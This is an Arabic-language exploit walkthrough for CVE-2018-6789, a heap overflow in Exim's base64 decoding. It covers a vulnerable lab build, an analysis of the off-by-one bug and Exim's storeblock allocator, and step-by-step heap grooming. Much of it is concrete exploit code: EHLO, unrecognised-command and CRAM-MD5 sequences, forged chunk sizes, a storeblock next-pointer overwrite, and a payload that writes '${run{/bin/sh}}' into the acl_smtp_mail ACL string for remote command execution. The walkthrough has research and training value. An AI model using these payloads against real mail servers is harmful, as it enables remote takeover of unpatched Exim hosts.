
استغلال لثغرة CVE-2018-6789، وهي تجاوز سعة المخزن المؤقت في الكومة (heap buffer overflow) في فك ترميز base64 في Exim، ما يحقق تنفيذًا عن بُعد للتعليمات البرمجية عبر تداخل الكتل (chunk overlap) ومعالجة سلاسل ACL.
تثبيت التبعيات
apt-get install gcc net-tools vim gdb python wget git make procps libpcre3-dev libdb-dev libxt-dev libxaw7-dev
تنزيل نسخة قديمة من exim
wget ftp://mirror.easyname.at/exim-ftp/exim/exim4/old/exim-4.89.tar.gz
tar -xvzf ./exim-4.89.tar.gz
cd ./exim-4.89
cp src/EDITME Local/Makefile
cp exim_monitor/EDITME Local/eximon.conf
ثم عدّل Local/Makefile لتسهيل الأمر، تشير جميع المجلدات إلى الدليل الحالي
BIN_DIRECTORY=/home/zzx/EVA/cve-2018-6789/exim-4.89/bin
CONFIGURE_FILE=/home/zzx/EVA/cve-2018-6789/exim-4.89/configure
SPOOL_DIRECTORY=/home/zzx/EVA/cve-2018-6789/exim-4.89/exim
EXIM_USER=zzx
AUTH_PLAINTEXT=yes
AUTH_CRAM_MD5=yes
AUTH_TLS=yes
هذا يسهّل التصحيح ثم قم بالترجمة والتثبيت
make install
عدّل ./configure واستبدل محتواه بما يلي مباشرة
acl_smtp_mail=acl_check_mail
acl_smtp_data=acl_check_data
begin acl
acl_check_mail:
.ifdef CHECK_MAIL_HELO_ISSUED
deny
message = no HELO given before MAIL command
condition = ${if def:sender_helo_name {no}{yes}}
.endif
accept
acl_check_data:
accept
begin authenticators
fixed_cram:
driver = cram_md5
public_name = CRAM-MD5
server_secret = ${if eq{$auth1}{ph10}{secret}fail}
server_set_id = $auth1
./bin/exim -bd -d-receive
أولًا، لنحلل التصحيح (patch) الموجود في base64.c:
حيث إن result هو المخزن المؤقت الذي تُحفظ فيه نتيجة فك ترميز base64، ويتم الحصول عليه عبر الدالة store_get.
يمكن ملاحظة أن حساب size قبل التصحيح كان معيبًا؛ فعندما يقع size ضمن النطاق 4n~4n+3 يكون الطول المحسوب متساويًا، لكن b64decode عند فك ترميز مدخلات ليست من مضاعفات الرقم 4 ينتج بايتًا أو بايتين إضافيين.
على سبيل المثال، إذا أرسلنا مباشرة
auth_md5('Hf'*42)
size=0x40
توزيع الذاكرة الناتج:
pwndbg> hexdump 0x711d60 0x50
+0000 0x711d60 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d │....│....│....│....│
+0010 0x711d70 f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 │....│....│....│....│
+0020 0x711d80 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df │....│....│....│....│
+0030 0x711d90 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 00 │....│....│....│....│
+0040 0x711da0 20 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │.aaa│aaaa│aaaa│aaaa│
لنجرّب أيضًا
auth_md5('Hf'*42+'HfH')
size=0x40
pwndbg> hexdump 0x711d60 0x50
+0000 0x711d60 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d │....│....│....│....│
+0010 0x711d70 f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 │....│....│....│....│
+0020 0x711d80 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df │....│....│....│....│
+0030 0x711d90 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d f1 df 1d │....│....│....│....│
+0040 0x711da0 f1 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │.aaa│aaaa│aaaa│aaaa│
حدث تجاوز بمقدار بايتين.
لتحسين الأداء، نفّذ Exim آلية إدارة ذاكرة خاصة به فوق آلية إدارة الكومة (heap) الأصلية، وهو بمثابة مخزن مؤقت وسيط بين الكود وglibc، بهدف تقليل عدد مرات استدعاء malloc وfree.
في Exim، تُسمى كتلة الكومة الواحدة storeblock، وفي كل مرة يُستخدم فيها المخزن، تُقتطع منه منطقة بحجم مناسب. وعندما تنفد storeblock، يتم استدعاء malloc لإنشاء storeblock جديدة.
بالنسبة لكل storeblock، بنيتها عبارة عن قائمة مرتبطة أحادية بسيطة:
/* Structure describing the beginning of each big block. */
typedef struct storeblock {
struct storeblock *next;
size_t length;
} storeblock;
أهم واجهات برمجة التطبيقات (API) التي يستخدمها البرنامج عند التعامل مع الكومة موجودة في store.c:
store_get
store_release
store_extend
store_reset
من بينها، تُستخدم store_get للحصول على المخزن المؤقت، وهذا هو الكود الأساسي:
128 void *
129 store_get_3(int size, const char *filename, int linenumber)
....
145 int length = (size <= STORE_BLOCK_SIZE)? STORE_BLOCK_SIZE : size;
...
161 /* If there was no free block, get a new one */
162 if (!newblock)
163 {
164 pool_malloc += mlength; /* Used in pools */
165 nonpool_malloc -= mlength; /* Exclude from overall total */
166 newblock = store_malloc(mlength);
...
يمكن ملاحظة أن الحد الأدنى لطول store_block المطلوب هو STORE_BLOCK_SIZE، أي 8192.
لذلك، فإن store_block بحجم 8192، بعد إضافة ترويسة بنيتها وترويسة كتلة الكومة، يصبح حجمها الإجمالي 0x2020.

عندما ينفّذ Exim أمرًا مرسلًا من العميل، إذا نجح التنفيذ، يستدعي store_reset لتحرير المخازن المؤقتة غير الضرورية وكتل store_block الزائدة. ويُقصد بـ«نجاح التنفيذ» هنا أن تنسيق الأمر صحيح، وأن البريد لا يحتوي على أحرف غير قانونية، وما إلى ذلك؛ وإلا فلن يتم استدعاء store_reset.
هذه الثغرة هي خطأ off-by-one كلاسيكي (رغم أنه يمكن تجاوز بايتين في الواقع)، لكن لأن عدد البايتات المُتجاوزة صغير، لا يمكن الكتابة مباشرة فوق البنى الحساسة داخل كتل الكومة. لذلك نستغل بعض خصائص ptmalloc لتوسيع تأثير الثغرة وتحويلها إلى تجاوز (overflow) أو تداخل (overlap) أوسع نطاقًا. بالنسبة لثغرات off-by-one، هناك طريقة استغلال كلاسيكية هي chunk enlarge -> chunk overlap، عبر تكبير size كتلة الكومة ثم تزييف ترويسة كتلة لتجاوز فحوصات glibc السليمة، ما يؤدي إلى تداخل الكتل ويتيح تغطية نطاق أوسع.
العملية الرئيسية هنا هي chunk enlarge -> chunk overlap -> corrupt next pointer in storeblock، ثم تشغيل store_reset للتسبب في تحرير كتلة كومة عشوائية (free)، وعندما نتمكن من استعادة نفس الكتلة يمكننا تعديل محتوياتها (type confusion).
أوصى meh في مقالته بتعديل كتلة الكومة التي تحتوي على سلسلة ACL، لأن معالجة سلاسل ACL تتضمن وظيفة تنفيذ أوامر.
سلاسل ACL كثيرة جدًا، لكن معظمها NULL (ربما يعود ذلك إلى ملف الإعدادات). هنا اخترت سلسلة acl_smtp_mail، وصيغة تنفيذ الأوامر فيها هي:
${run{command}}
التوزيع التقريبي للكومة كما يلي:

الكتلة الأولى هي ناتج فك ترميز base64، وتُستخدم لخطأ off-by-one، لذا يجب أن تكون في نهاية storeblock. لتسهيل الأمر، نطلب مباشرة كتلة أكبر من 0x2020 لتخزين نتيجة فك ترميز base64.
الكتلة الثانية هي sender_helo_name، وتُستخدم لتغطية الكتلة التالية. إن sender_helo_name لا تُخزَّن داخل storeblock، بل تُحجز مباشرة عبر malloc:
1832 static BOOL
1833 check_helo(uschar *s)
1834 {
...
1884 if (yield) sender_helo_name = string_copy_malloc(start);
لذا يمكن أن يكون حجمها حسب الرغبة.
الكتلة الثالثة هي أيضًا ناتج فك ترميز base64، وتُستخدم أساسًا لتزييف الترويسة وتتعرض للتغطية، لذا يجب أن تكون في بداية storeblock. ولتسهيل الأمر، نطلب كتلة بحجم 0x2020 مباشرة.
استغلالي (exp) بُني خطوة بخطوة بناءً على تحليلات الآخرين على الإنترنت؛ الفكرة العامة لم تتغير، لكن تخطيط الكومة يختلف قليلًا عن الآخرين، لذا تختلف بعض المعاملات الصغيرة.
أولًا، سننشئ unsortedbin بحجم 0x6060، ويمكن تحقيق ذلك بالأمر التالي فقط:
ehlo('a'*0x1000)
عندما يستقبل Exim «EHLO » + 'a'*0x1000، فإنه يولّد السلاسل الثلاث التالية داخل الدالة match_check_list في match.c:
*name* in helo_lookup_domains? no (end of list)
sender_fullhost = (*name*) [127.0.0.1]
sender_rcvhost = [127.0.0.1] (helo=*name*)
其中*name*为'a'*0x1000
بما أن طول name هو 0x1000، فإن كل سلسلة تشغل storeblock مستقلًا، وبالتالي ستكون هذه السلاسل الثلاث في ثلاث كتل storeblock متتالية.
عندما يُكمل Exim أمر EHLO بنجاح، يحرر في smtp_setup_msg داخل smtp_in.c السلاسل الثلاث السابقة، فنحصل على كتلة كومة بحجم 0x6060:
4369 cancel_cutthrough_connection(TRUE, US"sent EHLO response");
4370 smtp_reset(reset_point);
4371 toomany = FALSE;
4372 break; /* HELO/EHLO */
توزيع الكومة في هذه اللحظة هو:

لوضع sender_helo_name في منتصف الكومة، نحتاج إلى تحرير sender_helo_name الأصلية أولًا، ثم شغل كتلة الكومة العلوية. وبعد أن تشغل sender_helo_name الثانية مكانها، نحرر الكتلة العلوية. هنا أستخدم الأمر غير المعروف (unrecognize command) لشغل المكان، لأن استقبال أمر غير معروف يعني فشل تنفيذ الأمر، وعند نجاح الأمر التالي سيُحرَّر تلقائيًا. لاحظ أن مبدأ شغل المكان باستخدام أمر غير معروف هو أنه بعد إرسال الأمر إلى Exim، يستدعي Exim الدالة synprot_error للتبليغ عن الخطأ، مثل:
79099 LOG: smtp_syntax_error MAIN
SMTP syntax error in "yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy
**** debug string too long - truncated ****
لكن إذا كانت جميع أحرف الأمر مرئية (قابلة للطباعة)، فلن يستدعي Exim malloc لكتلة جديدة:
290 const uschar *
291 string_printing2(const uschar *s, BOOL allow_tab)
292 {
293 int nonprintcount = 0;
294 int length = 0;
295 const uschar *t = s;
296 uschar *ss, *tt;
297
298 while (*t != 0)
299 {
300 int c = *t++;
301 if (!mac_isprint(c) || (!allow_tab && c == '\t')) nonprintcount++;
302 length++;
303 }
304
305 if (nonprintcount == 0) return s;
306
307 /* Get a new block of store guaranteed big enough to hold the
308 expanded string. */
309
310 ss = store_get(length + nonprintcount * 3 + 1);
...
أما إذا كان الأمر يحتوي على أحرف غير مرئية، فسيطلب Exim مخزنًا مؤقتًا جديدًا ويحوّل الأحرف غير المرئية إلى سلاسل ثمانية (octal)، مثل '\xee'->"\356". ومن هنا جاءت الصيغة length + (nonprintcount * 3 + 1).
إذًا، نضع sender_ehlo_name أولًا في كتلة صغيرة، ثم نرسل 0x800 حرفًا من '\xee'. سيؤدي ذلك إلى طلب حجم 0x800 + 1 + 0x800 * 3 = 0x2001، وبما أن storeblock الحالية لا تحتوي مكانًا بهذا الحجم، سيتم إنشاء store_block جديدة.
ehlo('b'*0x20)
unrec('\xee'*0x800)

ثم نطلب sender_elho_name بحجم 0x2010:
ehlo('x'*0x2020)
سيؤدي ذلك إلى تحرير sender_elho_name القديمة (بحجم 0x20) أولًا:
1832 static BOOL
1833 check_helo(uschar *s)
1834 {
1835 uschar *start = s;
1836 uschar *end = s + Ustrlen(s);
1837 BOOL yield = helo_accept_junk;
1838
1839 /* Discard any previous helo name */
1840
1841 if (sender_helo_name != NULL)
1842 {
1843 store_free(sender_helo_name);
1844 sender_helo_name = NULL;
1845 }
...
ثم نطلب sender_helo_name جديدة. بعد اكتمال كل شيء، يُستدعى store_reset لمسح الكتل غير الضرورية، فتتحرر رسالة الخطأ (error message) بحجم 0x2020 وتندمج مع sender_helo_name المحررة أعلاه عبر malloc_consolidate لتكوين كتلة كومة جديدة بحجم 0x2050:

بهذا يكتمل تخطيط الكومة تقريبًا. بعد ذلك، نشغل المكان مباشرة ونُطلق الثغرة:
payload = "d"*(0x2020+0x30-0x18-1)
auth_md5(b64encode(payload)+"EfE")
نشغل الكتلة العلوية ونُحدث تجاوزًا بمقدار بايت واحد لتغيير size من 0x2021 إلى 0x20f1.
ثم نشغل الكتلة السفلية ونزيّف size بقيمة 0x1f61 بحيث تشير إلى الكتلة التالية:
payload2 = 'm'*0x38+p64(0x1f61)
auth_md5(b64encode(payload2))
نطلب هنا كتلة كومة إضافية، لأنه بخلاف ذلك ستكون storeblock المتأثرة هي آخر storeblock وتكون قيمة next مساوية null.
auth_md5(b64encode('a'*0x1000))
في هذه المرحلة يمكن تحرير sender_helo_name لإحداث تداخل الكتل (chunk overlap). لكن هناك نقطة يجب الانتباه إليها: ما زلنا بحاجة إلى الكتلة السفلية لتوفير مؤشر next (الذي نغطيه لتحقيق free لعنوان عشوائي)، لذلك لا نريد أن تُحرَّر هذه الكتلة. لذا يمكننا بناء name غير صالح لتحرير sender_helo_name فقط:
2079 static int
2080 smtp_setup_batch_msg(void)
2081 {
2082 int done = 0;
2083 void *reset_point = store_get(0);
...
3998 HELO_EHLO: /* Common code for HELO and EHLO */
3999 cmd_list[CMD_LIST_HELO].is_mail_cmd = FALSE;
4000 cmd_list[CMD_LIST_EHLO].is_mail_cmd = FALSE;
4001
4002 /* Reject the HELO if its argument was invalid or non-existent. A
4003 successful check causes the argument to be saved in malloc store. */
4004
4005 if (!check_helo(smtp_cmd_data))
4006 {
...
4022 break;
4023 }
إذا لم ينجح check_helo، سيخرج البرنامج من هذه الحلقة دون استدعاء store_reset. لنعُد إذًا لننظر إلى منطق كود check_helo:
1832 static BOOL
1833 check_helo(uschar *s)
1834 {
1835 uschar *start = s;
1836 uschar *end = s + Ustrlen(s);
1837 BOOL yield = helo_accept_junk;
...
1870 /* Non-literals must be alpha, dot, hyphen, plus any non-valid chars
1871 that have been configured (usually underscore - sigh). */
1872 else if (*s)
1873 for (yield = TRUE; *s; s++)
1874 if (!isalnum(*s) && *s != '.' && *s != '-' &&
1875 Ustrchr(helo_allow_chars, *s) == NULL)
1876 {
1877 yield = FALSE;
1878 break;
1879 }
...
1885 return yield;
1886 }
يمكن ملاحظة أن check_helo يفحص الأحرف المرسلة؛ إذ يجب أن تكون أحرفًا أبجدية أو بعض علامات الترقيم، أو ضمن helo_allow_chars. لكن helo_alow_chars عادةً ما تكون فارغة، ويُفترض أن تكون مُهيأة في ملف الإعدادات.
لذلك يمكننا بناء sender_helo_name تحتوي على مسافات:
ehlo('pwn it!') #must include some invalide chars
وبهذا نحقق تداخلًا بين كتل الكومة.
بعد ذلك، نشغل هذه الكتلة لكتابة مؤشر next بحيث يشير إلى الكتلة التي تحتوي سلسلة ACL. هنا توجد مشكلة: استغلالات أخرى استخدمت التغطية الجزئية (partial overwrite) لتجاوز ASLR، لكن هذا لا يعمل في بيئتي، لأن كتلة ACL والكتلة التي يشير إليها next متباعدتان جدًا.
pwndbg> tel 0x7214c0+0x2030
00:0000│ 0x7234f0 ◂— 0x0
01:0008│ 0x7234f8 ◂— 0x2021 /* '! ' */
02:0010│ 0x723500 —▸ 0x728510 <== next
03:0018│ 0x723508 ◂— 0x2000
pwndbg> tel 0x6f7990 <== acl chunk
00:0000│ 0x6f7990 ◂— 0x30 /* '0' */
01:0008│ 0x6f7998 ◂— 0x2021 /* '! ' */
02:0010│ 0x6f79a0 —▸ 0x7264f0 —▸ 0x72e5f0 —▸ 0x730640 —▸ 0x732660 ◂— ...
03:0018│ 0x6f79a8 ◂— 0x2000
04:0020│ 0x6f79b0 ◂— 0x7a7a2f656d6f682f ('/home/zz')
05:0028│ 0x6f79b8 ◂— 0x76632f4156452f78 ('x/EVA/cv')
06:0030│ 0x6f79c0 ◂— 0x362d383130322d65 ('e-2018-6')
07:0038│ 0x6f79c8 ◂— 0x6d6978652f393837 ('789/exim')
لذلك يستخدم استغلالي عنوانًا مطلقًا:
payload3 = 'y'*0x2010 + p64(0) + p64(0x2021) + p64(acl_string_block+0x10) +p64(0x2008)
auth_md5(b64encode(payload3))
بهذه الطريقة، نضيف الكتلة التي تحتوي acl_string إلى سلسلة store_block هذه. وعندما نستبدل sender_helo_name، ستُحرَّر كل هذه الكتل داخل store_reset.
لذا يجب إرسال اسم صالح هذه المرة:
ehlo('I'*16)
عند طلب كتلة كومة الآن، سنحصل على الكتلة التي تحتوي سلسلة ACL:
payload4='J'*0x60+'${run{/bin/sh}}\x00'
payload4+=((0x500-len(payload4))*'J')
auth_md5(b64encode(payload4))
هنا أقوم بتغطية العنوان الذي يشير إليه acl_smtp_mail. بشكل أساسي، جميع سلاسل ACL موجودة داخل هذه الكتلة، لأن هذه السلاسل تُقرأ واحدًا تلو الآخر من configure ثم توضع في المخزن المؤقت الذي تُرجعه store_get، لذا فهي مخزنة بشكل متتالٍ داخل هذه storeblock.
أخيرًا، نستدعي واجهات ACL ذات الصلة:
r.sendline('MAIL FROM: <[email protected]>')
ثم داخل smtp_setup_msg->acl_check->acl_check_internal->expand_string->expand_cstring->expand_string_internal->child_open->child_open_uid، يتم استدعاء execve لتنفيذ الأمر الموجود داخل run. فيما يلي معلومات التصحيح من جانب الخادم، ويمكن رؤية أن الأمر نُفّذ فعلًا.
